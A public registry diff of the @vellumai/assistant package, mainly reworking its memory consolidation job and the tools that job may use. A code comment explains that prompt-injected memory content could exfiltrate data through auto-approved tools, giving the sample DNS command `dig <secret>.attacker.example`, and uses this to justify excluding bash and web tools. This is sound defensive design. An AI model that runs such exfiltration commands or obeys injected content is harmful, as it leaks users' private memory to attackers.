@vellumai/assistant 0.12.2-staging.7 → 0.12.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (120) hide show
  1. package/docs/architecture/memory.md +2 -11
  2. package/docs/desktop-browser-cli.md +2 -4
  3. package/node_modules/@vellumai/environments/src/shell.test.ts +0 -21
  4. package/node_modules/@vellumai/environments/src/shell.ts +0 -24
  5. package/node_modules/@vellumai/gateway-client/src/inbound-contract.ts +2 -8
  6. package/openapi.yaml +2 -6
  7. package/package.json +1 -1
  8. package/scripts/smoke-desktop-browser-cli.ts +0 -1
  9. package/src/__tests__/agent-loop.test.ts +0 -124
  10. package/src/__tests__/approval-interception-trust-gates.test.ts +0 -40
  11. package/src/__tests__/channel-approval.test.ts +14 -9
  12. package/src/__tests__/conversation-agent-loop.test.ts +0 -25
  13. package/src/__tests__/plugin-import-boundary-guard.test.ts +1 -0
  14. package/src/__tests__/run-conversation-turn-persistence.test.ts +1 -138
  15. package/src/__tests__/script-proxy-certs.test.ts +1 -1
  16. package/src/__tests__/subagent-tool-gate-mode.test.ts +0 -169
  17. package/src/__tests__/terminal-tools.test.ts +0 -8
  18. package/src/__tests__/unicode.test.ts +0 -36
  19. package/src/agent/loop.ts +0 -19
  20. package/src/api/index.ts +0 -6
  21. package/src/approvals/approval-primitive.ts +2 -5
  22. package/src/approvals/scoped-approval-grants.ts +2 -6
  23. package/src/daemon/__tests__/conversation-tool-setup.test.ts +0 -43
  24. package/src/daemon/conversation-agent-loop.ts +0 -2
  25. package/src/daemon/conversation-tool-setup.ts +1 -57
  26. package/src/daemon/conversation.ts +0 -17
  27. package/src/daemon/daemon-control.ts +6 -2
  28. package/src/daemon/orphan-reaper.ts +3 -4
  29. package/src/daemon/tool-setup-types.ts +0 -6
  30. package/src/daemon/wake-conversation-ops.ts +15 -38
  31. package/src/desktop/desktop-automation-lease.test.ts +0 -143
  32. package/src/desktop/desktop-automation-lease.ts +3 -39
  33. package/src/messaging/provider-message-metadata.ts +3 -3
  34. package/src/notifications/__tests__/copy-composer.test.ts +0 -70
  35. package/src/notifications/copy-composer.ts +3 -11
  36. package/src/oauth/seed-providers.ts +30 -0
  37. package/src/persistence/conversation-plugin-facade.ts +0 -13
  38. package/src/persistence/schema/index.ts +0 -1
  39. package/src/persistence/steps.ts +0 -2
  40. package/src/plugin-api/conversation-turn.ts +7 -31
  41. package/src/plugin-api/index.ts +1 -9
  42. package/src/plugins/defaults/memory/AGENTS.md +2 -14
  43. package/src/plugins/defaults/memory/__tests__/buffer-format.test.ts +0 -43
  44. package/src/plugins/defaults/memory/__tests__/memory-retrospective-job.test.ts +0 -46
  45. package/src/plugins/defaults/memory/buffer-format.ts +0 -40
  46. package/src/plugins/defaults/memory/context-search/agent-runner.ts +2 -1
  47. package/src/plugins/defaults/memory/context-search/format.ts +1 -2
  48. package/src/plugins/defaults/memory/context-search/sources/memory-v2.ts +1 -2
  49. package/src/plugins/defaults/memory/context-search/sources/workspace.ts +1 -2
  50. package/src/plugins/defaults/memory/graph/capability-seed.ts +2 -1
  51. package/src/plugins/defaults/memory/graph/tool-handlers.ts +42 -1
  52. package/src/plugins/defaults/memory/host-utils.ts +10 -0
  53. package/src/plugins/defaults/memory/injectors.ts +3 -4
  54. package/src/plugins/defaults/memory/memory-retrospective-job.ts +181 -55
  55. package/src/plugins/defaults/memory/substrate/__tests__/consolidation-job.test.ts +99 -407
  56. package/src/plugins/defaults/memory/substrate/__tests__/consolidation-prompt-flag-gating-guard.test.ts +0 -10
  57. package/src/plugins/defaults/memory/substrate/__tests__/prompts-consolidation.test.ts +7 -107
  58. package/src/plugins/defaults/memory/substrate/consolidation-job.ts +86 -307
  59. package/src/plugins/defaults/memory/substrate/page-index.ts +1 -2
  60. package/src/plugins/defaults/memory/substrate/prompts/consolidation.ts +49 -89
  61. package/src/plugins/defaults/memory/substrate/sweep-job.ts +1 -1
  62. package/src/plugins/defaults/memory/tools.ts +1 -1
  63. package/src/plugins/defaults/memory/v1/graph/consolidation.ts +2 -2
  64. package/src/plugins/defaults/memory/v1/graph/extraction.ts +1 -2
  65. package/src/plugins/defaults/memory/v1/graph/retriever.ts +1 -1
  66. package/src/plugins/defaults/memory/v2/__tests__/migration.test.ts +0 -5
  67. package/src/plugins/defaults/memory/v2/__tests__/reranker.test.ts +2 -5
  68. package/src/plugins/defaults/memory/v2/reranker.ts +1 -2
  69. package/src/plugins/defaults/memory/v3/__tests__/injection.test.ts +1 -81
  70. package/src/plugins/defaults/memory/v3/__tests__/orchestrate.test.ts +0 -87
  71. package/src/plugins/defaults/memory/v3/__tests__/shadow-plugin.test.ts +0 -21
  72. package/src/plugins/defaults/memory/v3/card.ts +1 -2
  73. package/src/plugins/defaults/memory/v3/injector.ts +178 -212
  74. package/src/plugins/defaults/memory/v3/orchestrate.ts +22 -86
  75. package/src/plugins/defaults/memory/v3/pool-select.ts +7 -10
  76. package/src/plugins/defaults/memory/v3/sections.ts +1 -2
  77. package/src/plugins/defaults/memory/v3/shadow-plugin.ts +1 -10
  78. package/src/plugins/defaults/tool-result-truncate/terminal.ts +46 -1
  79. package/src/runtime/AGENTS.md +1 -1
  80. package/src/runtime/__tests__/agent-wake.test.ts +1 -86
  81. package/src/runtime/agent-wake.ts +4 -20
  82. package/src/runtime/guardian-action-service.ts +17 -2
  83. package/src/runtime/guardian-reply-router.ts +8 -1
  84. package/src/runtime/routes/channel-route-shared.ts +9 -1
  85. package/src/runtime/routes/desktop-setup-routes.test.ts +2 -2
  86. package/src/runtime/routes/desktop-setup-routes.ts +3 -7
  87. package/src/runtime/routes/guardian-approval-interception.ts +0 -24
  88. package/src/runtime/routes/inbound-message-handler.ts +3 -2
  89. package/src/runtime/routes/inbound-stages/background-dispatch.test.ts +1 -1
  90. package/src/runtime/routes/inbound-stages/background-dispatch.ts +4 -7
  91. package/src/schedule/run-script.ts +2 -2
  92. package/src/tools/host-terminal/host-shell.ts +6 -12
  93. package/src/tools/shared/filesystem/file-ops-service.ts +31 -1
  94. package/src/tools/shared/shell-output.test.ts +0 -10
  95. package/src/tools/shared/shell-output.ts +2 -14
  96. package/src/tools/skills/sandbox-runner.ts +2 -13
  97. package/src/tools/skills/scaffold-managed.ts +1 -2
  98. package/src/tools/terminal/__tests__/safe-env.test.ts +0 -29
  99. package/src/tools/terminal/safe-env.ts +1 -30
  100. package/src/tools/terminal/sanitized-bash.ts +2 -15
  101. package/src/tools/terminal/shell.test.ts +0 -29
  102. package/src/tools/terminal/shell.ts +7 -13
  103. package/src/util/host-process.test.ts +1 -17
  104. package/src/util/host-process.ts +0 -24
  105. package/src/util/unicode.ts +0 -29
  106. package/src/__tests__/db-conversation-tool-surface.test.ts +0 -144
  107. package/src/api/events/desktop-activity-changed.ts +0 -10
  108. package/src/persistence/conversation-tool-surface.ts +0 -86
  109. package/src/persistence/migrations/378-create-conversation-tool-surfaces.test.ts +0 -78
  110. package/src/persistence/migrations/378-create-conversation-tool-surfaces.ts +0 -29
  111. package/src/persistence/schema/conversation-tool-surfaces.ts +0 -22
  112. package/src/plugin-api/plugin-channel-turn-trust.test.ts +0 -133
  113. package/src/plugin-api/plugin-channel-turn-trust.ts +0 -71
  114. package/src/plugins/defaults/memory/__tests__/buffer-file.test.ts +0 -320
  115. package/src/plugins/defaults/memory/__tests__/fixtures/buffer-appender.ts +0 -17
  116. package/src/plugins/defaults/memory/__tests__/memory-run-evidence.test.ts +0 -161
  117. package/src/plugins/defaults/memory/buffer-file.ts +0 -354
  118. package/src/plugins/defaults/memory/memory-run-evidence.ts +0 -213
  119. package/src/plugins/defaults/memory/substrate/consolidation-tool-surface.ts +0 -34
  120. package/src/tools/terminal/shell-launch.test.ts +0 -162
@@ -6,11 +6,8 @@
6
6
  *
7
7
  * The consolidation job is the centerpiece of v2: an hourly background pass
8
8
  * that routes accumulated `memory/buffer.md` entries into concept pages,
9
- * rewrites `memory/recent.md`, and promotes new essentials/threads. The
10
- * buffer itself is never written by the agent: the job hands the run exactly
11
- * the entries it will remove, and removes them itself afterwards, so an
12
- * entry appended while the run is in flight is still in the buffer when it
13
- * ends.
9
+ * rewrites `memory/recent.md`, promotes new essentials/threads, and trims the
10
+ * buffer down to entries that arrived after the run started.
14
11
  *
15
12
  * Consolidation runs as the assistant: `runBackgroundJob()` bootstraps a
16
13
  * background conversation and routes the cutoff-templated prompt through
@@ -19,9 +16,9 @@
19
16
  * assistant's voice are the point — there is no "consolidator persona" to
20
17
  * substitute in.
21
18
  *
22
- * The tool surface is wire-scoped to {@link CONSOLIDATION_ALLOWED_TOOLS}: local
23
- * file tools, a shell for corpus-wide inspection, recall, and the page-delete
24
- * primitive. See that constant for the surface and what it excludes.
19
+ * The tool surface is wire-scoped to {@link CONSOLIDATION_ALLOWED_TOOLS} — the
20
+ * local memory-file operations this pass needs. See that constant for why the
21
+ * run must not carry network egress or host-proxy tools.
25
22
  *
26
23
  * Lifecycle:
27
24
  * 1. Bail if memory is disabled or concept-page memory is not active
@@ -31,18 +28,11 @@
31
28
  * so two overlapping schedule windows can't fight over the same files.
32
29
  * The lock contains the holder's PID + timestamp so a crashed run leaves
33
30
  * a diagnosable trace.
34
- * 3. Read `memory/buffer.md` once: the snapshot. Bail if empty (no work to
35
- * do, but the lock and skip path still log so operators can confirm the
36
- * schedule fired).
37
- * 4. Select this pass's entries from the snapshot. The cutoff timestamp is
38
- * captured at dispatch (and pulled back to the first over-cap entry's
39
- * stamp when the buffer exceeds the per-run cap); the pass is the
40
- * snapshot's leading entries up to the first one stamped with the
41
- * cutoff minute. Those entries are rendered verbatim into the prompt,
42
- * so what the agent files and what the job later removes are the same
43
- * set by construction. An entry appended after the snapshot is never in
44
- * it, and a snapshot that caught an append mid-write leaves its last
45
- * entry for the next pass. Nothing eligible → bail.
31
+ * 3. Capture the cutoff timestamp at dispatch. Any buffer entry timestamped
32
+ * at or after the cutoff arrived AFTER the run started leave it for
33
+ * the next pass.
34
+ * 4. Read `memory/buffer.md`. Bail if empty (no work to do, but the lock
35
+ * and skip path still log so operators can confirm the schedule fired).
46
36
  * 5. Hand off to `runBackgroundJob()` with the templated prompt. The runner
47
37
  * handles bootstrap + processMessage + timeout + error classification,
48
38
  * and (because we set `suppressFailureNotifications: true`) does NOT
@@ -52,21 +42,10 @@
52
42
  * unchanged. The prompt body is loaded via `resolveConsolidationPrompt`
53
43
  * which bounds any operator-provided override to a regular file under
54
44
  * 1 MiB before substitution.
55
- * 6. Consume the pass's entries, and only then. `runResult.ok` only means
56
- * the background run completed; before the job removes anything the
57
- * run's persisted messages must hold at least one page-writing tool
58
- * call whose result is not an error AND end with the agent's own
59
- * closing reply (the pass summary the prompt mandates), the same two
60
- * evidence shapes the retrospective's cursor advance uses. A run that
61
- * wrote a page and then stopped mid-work has not filed its pass. With
62
- * that evidence the job
63
- * removes exactly the pass's entries from the live buffer through
64
- * `consumeBufferEntries`, which leaves deferred entries and anything
65
- * appended during the run in place. A run with no verified write, or
66
- * a consume that fails, is reported as `invoked` with
67
- * `noProgress: true`, enqueues no follow-ups, and leaves the buffer
68
- * intact for the next pass. A failed run (provider error, exception,
69
- * timeout) likewise consumes nothing. The
45
+ * 6. Verify the run drained the buffer. `runResult.ok` only means the
46
+ * background run completed the trim itself is delegated to the agent.
47
+ * A run that completes without shrinking the buffer is reported as
48
+ * `invoked` with `noProgress: true` and enqueues no follow-ups. The
70
49
  * post-run page index is also read for `danglingLinks` (structural
71
50
  * references with no target page): reported on the outcome and in the
72
51
  * log, and fed into the NEXT pass's prompt as a repair step like
@@ -98,8 +77,6 @@
98
77
  import { readFileSync } from "node:fs";
99
78
  import { join } from "node:path";
100
79
 
101
- import { getMessages } from "@vellumai/plugin-api";
102
-
103
80
  import {
104
81
  isMemoryV3Live,
105
82
  usesConceptPageMemory,
@@ -119,21 +96,10 @@ import {
119
96
  } from "../../../../persistence/jobs-store.js";
120
97
  import { runBackgroundJob } from "../../../../runtime/background-job-runner.js";
121
98
  import {
122
- consumeBufferEntries,
123
- type ConsumeBufferEntriesResult,
124
- } from "../buffer-file.js";
125
- import {
126
- type BufferEntryLines,
127
99
  formatBufferTimestamp,
128
- joinBufferEntries,
129
- splitBufferContent,
100
+ matchBufferEntryStart,
130
101
  } from "../buffer-format.js";
131
102
  import { getLogger } from "../logging.js";
132
- import {
133
- collectSuccessfulToolResultIds,
134
- countDurableToolUses,
135
- endsWithTextReply,
136
- } from "../memory-run-evidence.js";
137
103
  import { getWorkspaceDir } from "../paths.js";
138
104
  import {
139
105
  CONSOLIDATION_TIMEOUT_MS,
@@ -141,7 +107,6 @@ import {
141
107
  releaseLock,
142
108
  tryAcquireLock,
143
109
  } from "./consolidation-lock.js";
144
- import { CONSOLIDATION_ALLOWED_TOOLS } from "./consolidation-tool-surface.js";
145
110
  import { getPageIndex, type PageParseFailure } from "./page-index.js";
146
111
  import type { DanglingLink } from "./page-links.js";
147
112
  import {
@@ -156,25 +121,45 @@ const log = getLogger("memory-v2-consolidate");
156
121
  const JOB_NAME = "memory.consolidate";
157
122
 
158
123
  /**
159
- /**
160
- * Tool names whose persisted `tool_use` blocks count as durable page work
161
- * for the consume gate: the pass writes or edits concept pages and the
162
- * aggregate views through the file tools and retires pages through
163
- * `delete_memory_page`. The read-only tools on the allowlist do not
164
- * qualify, and neither does `bash`: the shell is on the surface for
165
- * corpus-wide inspection, and a shell call carries no evidence of what it
166
- * did. The prompt tells the agent to write pages with the file tools for
167
- * exactly this reason; a run that wrote only through the shell drains
168
- * nothing and reports no progress, which is loud rather than lossy.
124
+ * Tool surface the consolidation run is wire-scoped to. Consolidation is a
125
+ * purely LOCAL memory-file reorganization pass: it reads `buffer.md` + existing
126
+ * pages, writes/edits concept pages, rewrites recent/essentials/threads, and
127
+ * trims the buffer. It has NO legitimate need for network egress or host-proxy
128
+ * tools.
129
+ *
130
+ * Scoping is load-bearing because the run is guardian-trust + non-interactive:
131
+ * the permission checker auto-approves any tool whose classified risk is within
132
+ * the background threshold (default `low`), and a public `web_fetch` classifies
133
+ * Low. An unrestricted surface would therefore let prompt injection embedded in
134
+ * buffer/page content — which can originate from untrusted material the
135
+ * assistant ingested (fetched web pages, emails, documents, channel messages) —
136
+ * exfiltrate memory over an auto-approved egress channel. Wire-gating to this
137
+ * allowlist removes that channel entirely: the excluded tools (`web_fetch`,
138
+ * `web_search`, `network_request`, `host_*`, …) are never even presented to
139
+ * the model, so the fix does not rely on the permission threshold. Mirrors the
140
+ * hardening the sibling memory-retrospective job already applies.
141
+ *
142
+ * `bash` is deliberately EXCLUDED. A shell reopens the egress channel this
143
+ * allowlist exists to close: `dig` / `nslookup` / `ping` classify Low in the
144
+ * command registry and so auto-approve in this background context, letting
145
+ * prompt-injected page content exfiltrate memory over DNS (`dig
146
+ * <secret>.attacker.example`) even with `web_fetch` hidden. The one
147
+ * page-maintenance operation a shell would otherwise handle — retiring a
148
+ * merged/renamed/dead page — is served by `delete_memory_page`, a slug-scoped
149
+ * memory-page delete that reaches only `memory/concepts/**` and carries no
150
+ * network or arbitrary-path reach. It is an allowlist-only tool (hidden from
151
+ * every other tool surface; see `ALLOWLIST_ONLY_TOOL_NAMES`), so naming it here
152
+ * is what surfaces it.
169
153
  */
170
- const CONSOLIDATION_DURABLE_TOOLS: ReadonlySet<string> = new Set([
154
+ const CONSOLIDATION_ALLOWED_TOOLS: readonly string[] = [
155
+ "file_read",
171
156
  "file_write",
172
157
  "file_edit",
158
+ "file_list",
159
+ "code_search",
173
160
  "delete_memory_page",
174
- ]);
175
-
176
- /** The shell on the consolidation surface, counted for diagnosis only. */
177
- const SHELL_TOOLS: ReadonlySet<string> = new Set(["bash"]);
161
+ "recall",
162
+ ];
178
163
 
179
164
  /**
180
165
  * Durable checkpoint tracking consecutive consolidation run failures.
@@ -301,17 +286,6 @@ export type ConsolidationOutcome =
301
286
  | { kind: "disabled" }
302
287
  | { kind: "locked"; holder: string }
303
288
  | { kind: "empty_buffer" }
304
- | {
305
- /**
306
- * The buffer holds entries but none is eligible this pass: every entry
307
- * is stamped with the cutoff minute (or later), so the run would have
308
- * nothing to file. No agent run, no failure bookkeeping; the next
309
- * scheduler tick re-checks.
310
- */
311
- kind: "nothing_eligible";
312
- cutoff: string;
313
- deferredEntries: number;
314
- }
315
289
  | { kind: "run_failed"; reason?: string }
316
290
  | {
317
291
  kind: "invoked";
@@ -325,16 +299,9 @@ export type ConsolidationOutcome =
325
299
  deferredEntries: number;
326
300
  followUpJobIds: string[];
327
301
  /**
328
- * Entries this pass removed from the buffer: the entries it handed the
329
- * run, once the run left verified page-writing evidence. `0` when
330
- * `noProgress` is set.
331
- */
332
- consumedEntries: number;
333
- /**
334
- * `true` when the run completed but nothing was consumed: it left no
335
- * verified page write, or the consume itself failed. The buffer is
336
- * untouched, nothing changed worth re-embedding, and no follow-ups
337
- * were enqueued.
302
+ * `true` when the run completed without shrinking the buffer the
303
+ * agent never trimmed it, so nothing changed worth re-embedding and no
304
+ * follow-ups were enqueued.
338
305
  */
339
306
  noProgress: boolean;
340
307
  /**
@@ -403,9 +370,10 @@ export async function memoryV2ConsolidateJob(
403
370
  return { kind: "empty_buffer" };
404
371
  }
405
372
 
406
- // The snapshot. Everything this pass files and later removes comes from
407
- // it; an entry appended after this read is by construction not in it.
408
- const snapshot = splitBufferContent(bufferContent);
373
+ // Baseline for the post-run progress check same metric the scheduler's
374
+ // size trigger uses, so "no progress" below means exactly "the trigger
375
+ // condition still holds".
376
+ const bufferLinesBefore = countNonEmptyLines(bufferContent);
409
377
 
410
378
  // Step 3: capture cutoff. Formatted to match `buffer.md` entry timestamps
411
379
  // (`Mon D, h:mm AM/PM`, see `formatBufferTimestamp`) so the agent's
@@ -432,8 +400,9 @@ export async function memoryV2ConsolidateJob(
432
400
  const tuning = resolveSubstrateTuning(config.memory);
433
401
  const maxEntries = tuning.consolidation_max_entries_per_run;
434
402
  if (maxEntries != null) {
435
- const entryTimestamps = snapshot
436
- .map((entry) => entry.start?.timestamp ?? null)
403
+ const entryTimestamps = bufferContent
404
+ .split("\n")
405
+ .map(extractBufferEntryTimestamp)
437
406
  .filter((timestamp): timestamp is string => timestamp !== null);
438
407
  if (entryTimestamps.length > maxEntries) {
439
408
  const overflowTimestamp = entryTimestamps[maxEntries];
@@ -469,22 +438,6 @@ export async function memoryV2ConsolidateJob(
469
438
  }
470
439
  }
471
440
 
472
- // The pass: the snapshot's leading entries up to the first one stamped
473
- // with the cutoff minute, rendered verbatim into the prompt and removed
474
- // by this job once the run has filed them.
475
- const pass = selectPassEntries(
476
- snapshot,
477
- cutoff,
478
- await snapshotIsComplete(bufferPath, bufferContent),
479
- );
480
- if (pass.length === 0) {
481
- log.info(
482
- { cutoff, bufferEntries: snapshot.length },
483
- "consolidation skipped: no buffer entry is eligible this pass (all stamped at or after the cutoff, or still being appended)",
484
- );
485
- return { kind: "nothing_eligible", cutoff, deferredEntries };
486
- }
487
-
488
441
  // Step 4: hand off to the centralized background-job runner. The runner
489
442
  // bootstraps the conversation, drives `processMessage`, applies the
490
443
  // timeout policy, classifies errors, and — because we opt out via
@@ -540,7 +493,6 @@ export async function memoryV2ConsolidateJob(
540
493
  {
541
494
  includeCorePagesSection: memoryV3Live,
542
495
  articleShape: memoryV3Live ? "v3" : "v2",
543
- bufferEntries: joinBufferEntries(pass),
544
496
  parseFailures,
545
497
  danglingLinks,
546
498
  overlongSections,
@@ -592,76 +544,17 @@ export async function memoryV2ConsolidateJob(
592
544
  : { kind: "run_failed" };
593
545
  }
594
546
 
595
- // Step 5: consume the pass's entries, gated on evidence. `runResult.ok`
596
- // only means the background run completed. Before removing anything the
597
- // job requires two things of the run's persisted messages: at least one
598
- // page-writing tool call whose result is not an error (a run that
599
- // answered in prose, or whose writes all failed, filed nothing), and a
600
- // closing reply in the agent's own words as the run's final row, with
601
- // no tool call on it (a run that wrote a page, say a repair-step fix,
602
- // and then stopped mid-work has not filed its pass, and narration on
603
- // the row that called the tool is not a conclusion; the prompt mandates
604
- // the pass summary, so its absence is the run ending early). Either missing, and
605
- // consuming would delete entries unfiled. A skipped run never invoked
606
- // the agent, so it consumes nothing either. With both, the consume
607
- // removes exactly the pass's entries and leaves every other entry
608
- // (deferred past the cap, or appended during the run) in place.
609
- let consumed: ConsumeBufferEntriesResult | null = null;
610
- let evidence: RunEvidence = {
611
- durableWrites: 0,
612
- shellCalls: 0,
613
- concluded: false,
614
- };
615
- if (runResult.skipReason === undefined) {
616
- evidence = await readRunEvidence(runResult.conversationId);
617
- if (evidence.durableWrites > 0 && evidence.concluded) {
618
- try {
619
- consumed = await consumeBufferEntries(bufferPath, pass);
620
- } catch (err) {
621
- // Thrown only before the rename commits, so the buffer still holds
622
- // the pass.
623
- log.error(
624
- { err, conversationId: runResult.conversationId },
625
- "consolidation: buffer consume failed before rewriting; entries left for the next pass",
626
- );
627
- }
628
- }
629
- }
630
- const noProgress = consumed === null;
631
- if (consumed !== null && consumed.lateAppendDrainFailed) {
632
- log.error(
633
- { conversationId: runResult.conversationId },
634
- "consolidation: the replaced buffer inode could not be read after the rewrite; any entry appended during it is in the daily archive only",
635
- );
636
- }
637
- if (consumed !== null && consumed.unrecoveredLateAppendBytes > 0) {
638
- // The pass is consumed (the rename committed) but bytes an appender
639
- // landed on the replaced inode could not be copied back. Those
640
- // entries are still in memory/archive/<date>.md, written by the same
641
- // append that wrote them to the buffer.
642
- log.error(
643
- {
644
- conversationId: runResult.conversationId,
645
- unrecoveredLateAppendBytes: consumed.unrecoveredLateAppendBytes,
646
- },
647
- "consolidation: entries appended during the buffer rewrite could not be copied back into buffer.md; they remain in the daily archive only",
648
- );
649
- }
650
- if (consumed !== null && consumed.alreadyAbsent > 0) {
651
- // Only appenders are expected to touch the buffer during a run. An
652
- // entry the job handed the run but cannot find afterwards was removed
653
- // by something else, most likely a customized prompt that still
654
- // rewrites `memory/buffer.md`; that rewrite carries the stale-read
655
- // hazard this job exists to avoid.
656
- log.warn(
657
- {
658
- conversationId: runResult.conversationId,
659
- alreadyAbsent: consumed.alreadyAbsent,
660
- removed: consumed.removed,
661
- },
662
- "consolidation: some of this pass's entries were already gone from buffer.md; the agent must not rewrite the buffer",
663
- );
664
- }
547
+ // Step 5: verify the run drained the buffer. `runResult.ok` only means
548
+ // the background run completed the trim itself is delegated to the
549
+ // agent, and nothing above checks that it happened. A run that completes
550
+ // without shrinking the buffer leaves the scheduler's size trigger armed
551
+ // (it re-fires while the buffer stays over threshold), so enqueuing
552
+ // follow-ups here would fan out one reembed per re-fire for pages that
553
+ // never changed. Entries arriving during the run can inflate the
554
+ // after-count into a false "no progress"; that is benign the next
555
+ // progressing run enqueues the same follow-ups.
556
+ const bufferLinesAfter = countBufferLines(bufferPath);
557
+ const noProgress = bufferLinesAfter >= bufferLinesBefore;
665
558
 
666
559
  // The agent's file-tool writes invalidate the page index, so this read
667
560
  // sees the post-run corpus.
@@ -688,15 +581,10 @@ export async function memoryV2ConsolidateJob(
688
581
  {
689
582
  conversationId: runResult.conversationId,
690
583
  cutoff,
691
- passEntries: pass.length,
692
- durableWrites: evidence.durableWrites,
693
- shellCalls: evidence.shellCalls,
694
- concluded: evidence.concluded,
695
- skipReason: runResult.skipReason,
584
+ bufferLinesBefore,
585
+ bufferLinesAfter,
696
586
  },
697
- evidence.durableWrites === 0 && evidence.shellCalls > 0
698
- ? "consolidation run wrote no pages through the file tools (it used the shell); buffer left intact, follow-ups skipped"
699
- : "consolidation run completed without a verified page write and a closing reply; buffer left intact, follow-ups skipped",
587
+ "consolidation run completed without draining the buffer; follow-ups skipped",
700
588
  );
701
589
  return {
702
590
  kind: "invoked",
@@ -704,7 +592,6 @@ export async function memoryV2ConsolidateJob(
704
592
  cutoff,
705
593
  deferredEntries,
706
594
  followUpJobIds: [],
707
- consumedEntries: 0,
708
595
  noProgress: true,
709
596
  danglingLinks: danglingAfter,
710
597
  };
@@ -746,7 +633,6 @@ export async function memoryV2ConsolidateJob(
746
633
  {
747
634
  conversationId: runResult.conversationId,
748
635
  cutoff,
749
- consumedEntries: pass.length,
750
636
  deferredEntries,
751
637
  followUpJobIds,
752
638
  },
@@ -758,7 +644,6 @@ export async function memoryV2ConsolidateJob(
758
644
  cutoff,
759
645
  deferredEntries,
760
646
  followUpJobIds,
761
- consumedEntries: pass.length,
762
647
  noProgress: false,
763
648
  danglingLinks: danglingAfter,
764
649
  };
@@ -817,126 +702,20 @@ function readBufferContent(bufferPath: string): string {
817
702
  }
818
703
 
819
704
  /**
820
- * The entries this pass files: the snapshot's leading entries up to (not
821
- * including) the first one stamped with the cutoff minute. In an append-only
822
- * buffer that is exactly the set the prompt describes as "timestamp <
823
- * cutoff", but chosen by position, so the job and the prompt name the same
824
- * entries whatever the model makes of the dates. A same-minute pull-back
825
- * (the chunking cutoff) works the same way: entries sharing the over-cap
826
- * entry's minute are deferred with it.
705
+ * Extract the bracketed timestamp from a `buffer.md` entry line
706
+ * (`- [Mon D, h:mm AM/PM] …`, see {@link formatRememberEntry}). Returned
707
+ * verbatim so it can serve directly as a consolidation cutoff: both sides of
708
+ * the agent's "timestamp >= cutoff" comparison then share the exact
709
+ * {@link formatBufferTimestamp} shape.
827
710
  *
828
- * Prose before the first entry opening (a hand-written buffer) is filed too,
829
- * when it holds any text; otherwise the buffer could never drain.
830
- *
831
- * A snapshot that caught an append mid-write (`snapshotIsComplete` false,
832
- * see {@link snapshotIsComplete}) has an incomplete last entry, which is
833
- * left for the next pass rather than filed and removed in a truncated form.
834
- */
835
- function selectPassEntries(
836
- snapshot: readonly BufferEntryLines[],
837
- cutoff: string,
838
- snapshotIsComplete: boolean,
839
- ): BufferEntryLines[] {
840
- const pass: BufferEntryLines[] = [];
841
- for (const entry of snapshot) {
842
- if (entry.start === null) {
843
- if (entry.lines.some((line) => line.trim().length > 0)) {
844
- pass.push(entry);
845
- }
846
- continue;
847
- }
848
- if (entry.start.timestamp === cutoff) {
849
- break;
850
- }
851
- pass.push(entry);
852
- }
853
- const last = pass[pass.length - 1];
854
- if (
855
- last !== undefined &&
856
- last === snapshot[snapshot.length - 1] &&
857
- !snapshotIsComplete
858
- ) {
859
- pass.pop();
860
- }
861
- return pass;
862
- }
863
-
864
- /**
865
- * How long an unterminated snapshot is given to settle before it is read
866
- * again. An in-flight append completes within microseconds; a re-read that
867
- * still returns the same bytes after this is a stable file.
868
- */
869
- const UNTERMINATED_SNAPSHOT_SETTLE_MS = 100;
870
-
871
- /**
872
- * Whether the snapshot ends on a complete entry. An append is one write
873
- * ending in a newline, so content that ends in one is complete. Content
874
- * that does not is either an append caught mid-write or a buffer whose last
875
- * rewrite left no terminator (an agent's `file_write` under an older prompt,
876
- * a hand edit): a persisted shape that must keep working. The two are told
877
- * apart by time: after a short settle the file is read again, and identical
878
- * bytes mean nothing was mid-write, so the last entry is complete and may be
879
- * filed. Grown or changed bytes mean an append was in flight, and the
880
- * snapshot's last entry waits for the next pass. Consuming rewrites the
881
- * buffer newline-terminated, so the unterminated shape does not recur.
711
+ * Recognition is delegated to the shared matcher, so a remembered fact's
712
+ * continuation lines never register as entries. That matters here beyond
713
+ * tidiness: counting a fact's `- [ ] …` checklist lines or an indented
714
+ * entry-shaped body line as entries would inflate the per-run budget, or hand
715
+ * the agent a cutoff drawn from the middle of a fact.
882
716
  */
883
- async function snapshotIsComplete(
884
- bufferPath: string,
885
- content: string,
886
- ): Promise<boolean> {
887
- if (content.endsWith("\n")) {
888
- return true;
889
- }
890
- await new Promise((resolve) =>
891
- setTimeout(resolve, UNTERMINATED_SNAPSHOT_SETTLE_MS),
892
- );
893
- return readBufferContent(bufferPath) === content;
894
- }
895
-
896
- interface RunEvidence {
897
- /** Page-writing tool calls whose execution verifiably succeeded. */
898
- durableWrites: number;
899
- /**
900
- * Shell calls the run made, successful or not. Never evidence of filing
901
- * (a shell call carries no record of what it did); reported so a run
902
- * that wrote its pages through the shell is diagnosable from the log.
903
- */
904
- shellCalls: number;
905
- /**
906
- * The run's final row is an assistant reply in its own words, with no
907
- * tool call on it: the shape of a run the model ended itself.
908
- */
909
- concluded: boolean;
910
- }
911
-
912
- /**
913
- * What the run's conversation proves it did: page-writing tool calls with
914
- * a matching non-error `tool_result`, and whether the run ended by replying
915
- * (the pass summary) rather than stopping mid-tool-loop. A consolidation
916
- * conversation is bootstrapped fresh per run, so every message in it is
917
- * the run's own. A load failure reports nothing: the consume gate then
918
- * fails closed and the buffer waits for the next pass.
919
- */
920
- async function readRunEvidence(conversationId: string): Promise<RunEvidence> {
921
- let messages: Awaited<ReturnType<typeof getMessages>>;
922
- try {
923
- messages = await getMessages(conversationId);
924
- } catch (err) {
925
- log.warn(
926
- { err, conversationId },
927
- "consolidation: failed to load the run's messages; treating the run as having filed nothing",
928
- );
929
- return { durableWrites: 0, shellCalls: 0, concluded: false };
930
- }
931
- return {
932
- durableWrites: countDurableToolUses(
933
- messages,
934
- CONSOLIDATION_DURABLE_TOOLS,
935
- collectSuccessfulToolResultIds(messages),
936
- ),
937
- shellCalls: countDurableToolUses(messages, SHELL_TOOLS, null),
938
- concluded: endsWithTextReply(messages),
939
- };
717
+ function extractBufferEntryTimestamp(line: string): string | null {
718
+ return matchBufferEntryStart(line)?.timestamp ?? null;
940
719
  }
941
720
 
942
721
  /**
@@ -19,8 +19,7 @@
19
19
  * concept pages or seeded skill entries change.
20
20
  */
21
21
 
22
- import { safeStringSlice } from "@vellumai/plugin-api";
23
-
22
+ import { safeStringSlice } from "../host-utils.js";
24
23
  import { getLogger } from "../logging.js";
25
24
  import {
26
25
  CLI_COMMAND_SLUG_PREFIX,